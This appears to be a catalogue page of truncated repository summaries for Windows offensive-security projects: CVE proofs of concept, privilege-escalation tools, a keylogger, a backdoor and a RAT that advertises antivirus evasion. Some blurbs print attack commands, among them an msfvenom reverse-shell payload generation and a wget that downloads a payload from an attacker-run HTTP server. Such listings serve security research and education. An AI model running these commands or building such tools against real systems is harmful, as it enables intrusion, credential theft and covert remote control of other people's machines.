CVE-2026-92680

CVE-2026-92680 Proof of Concept Araxis Merge for Windows stores server credentials with DPAPI with pOptionalEntropy set to NULL. This allows any code running in the same user context to decrypt them. Full writeup: https://grepstrength.com/research/araxis-merge | ---|--- CVE| CVE-2026-92680 CWE|...

dpapi-toolkit

DPAPI-toolkit An offline toolkit for Windows DPAPI evidence. You collect the files, point the tool at an artifact, and it recognizes the format and tells you exactly which master key it needs; you supply the key material and it decrypts. Most DPAPI tooling is one script per format, or a feature...

PrintSpoofer

PrintSpoofer PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10. To escalate privileges, the service account must have SeImpersonate privileges. To execute: PrintSpoofer.exe -i -c cmd With appropriate privileges this shou...

Windows-Exploit-Suggester-Python3

Windows-Exploit-Suggester-Python3 python3 windows-exploit-suggester.py --update libreoffice --headless --convert-to xls 2021-07-15-mssb.xlsx python3 windows-exploit-suggester.py --database 2021-07-15-mssb.xls --systeminfo systeminfo.txt Example : so we should convert xlsx to xls...

nim-reverse-shell

nim-reverse-shell nim-reverse-shell Example: sudo apt install nim update the script accordingly nim c -d:mingw --app:gui --opt:speed -o:spoofer-scheduler.exe reverse.nim python3 -m http.server 8888 wget http://tun0:8888/spoofer-scheduler.exe -o spoofer-scheduler.exe sc.exe stop spoofer-scheduler...

MS08-067

MS08-067 | CVE-2008-4250 Reference: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN Shellcode Generation We will use msfvenom to genarate the shellcode. msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread -b...

windows_kernel_shadow_stack

Proof of Concepts This project aims to highlight certain aspects of the shadow stack mitigation implemented by Microsoft in Windows 11. The code is specifically focused on Windows 11 24H2. It may not work on other version of Windows 11, due to the kernel offset management. The project is divided...

keebcap

Keebcap This repository contains the code associated to this article in which we talk about building a win32 keylogger that supports all languages not using input method editors. All tests were done on Windows 10 22h2. tree . keylog code ├── capgks.c sample keylogger using GetKeyState ├── capllh....

Invoke-RunAsWithCert

Invoke-RunAsWithCert A PowerShell script to perform PKINIT authentication with the Windows API from a non domain-joined machine. Description This cmdlet creates a new logon session with the specified certificate via PKINIT. It is meant to be run on a non domain-joined VM. The cmdlet has two modes...

FUCKER

FUCKER Windows-native penetration testing framework written in Go. Modular architecture with AI-driven decision engine OpenAI-compatible API. Build go build -ldflags="-X main.version=$git describe --tags" -o FUCKER.exe ./cmd/fucker/ Cross-compile: GOOS=linux GOARCH=amd64 go build -o...

CVE-2026-20841

CVE-2026-20841 PoC PoC of the "Windows Notepad RCE" vulnerability. Disclaimers 1. I am NOT the one who discovered this vulnerability. Props to the original authors listed on the official disclosure page. I just recreated the PoC according to the description. 2. I personally don't think this...

Hijack-service-binaries

Hijack-service-binaries A PowerShell security auditing tool that identifies Windows service binaries that can be modified by the current user—a potential privilege escalation vector. Overview This script scans all Windows services except system32 and svchost and checks if the current user has...

BrokenType

BrokenType BrokenType is a set of tools designed to test the robustness and security of font rasterization software, especially codebases prone to memory corruption issues written in C/C++ and similar languages. It consists of the following components: TrueType program generator - a Python script...

Flowise-CVE-2026-58057-exploit

Flowise CVE-2026-58057 - Windows Remote Code Execution Exploit -orange?style=for-the-badg...

CVE-2019-1388-Privilege-Escalation--2021-

CVE-2019-1388 Privilege Escalation CVE-2019-1388 Lab Analysis: Documented local privilege escalation via Windows UAC certificate dialogs on Windows 7. CVE-2019-1388: Windows UAC Privilege Escalation Lab An educational cybersecurity lab and technical analysis documenting CVE-2019-1388 —a local...

CVE-2026-20169

IoT-FND Overview Features Network Discovery The scanner checks a defined IP range and looks for devices exposing the expected management service. Example checks: IP range enumeration TCP port availability testing Service discovery Basic connection validation Windows Native Implementation Built...

0net

0net: Simple Windows Remote Control Backdoor Introduction: 0net is a simple Windows remote control backdoor program. The client is written in C++ and compiled with VC++6.0. The server is written in Python and is cross-platform. The project is currently under development... Project details:...

ZeroRAT

ZeroRAT Introduction A remote control tool for Windows. The client only needs to execute a single command, utilizing native Windows programs for execution without writing files to disk, providing inherent AV evasion. It becomes ineffective after reboot. In the program, download and upload are fro...

cve-2024-26229

cve-2024-26229 A nim version of the now outdated Windows LPE vulnerability abusing CSC. This is for educational purposes only, and refer to the patch list to determine whether or not your system/your target is vulnerable. https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-26229 Usage...

nessus-vulnerability-scanning-lab

Nessus Vulnerability Scanning Lab — Azure Full vulnerability management lifecycle — scan, find, fix, verify — executed against my live Azure Active Directory lab environment using a dedicated, Terraform-deployed Nessus scanner. What This Lab Demonstrates I deployed a dedicated Ubuntu 24.04 scanne...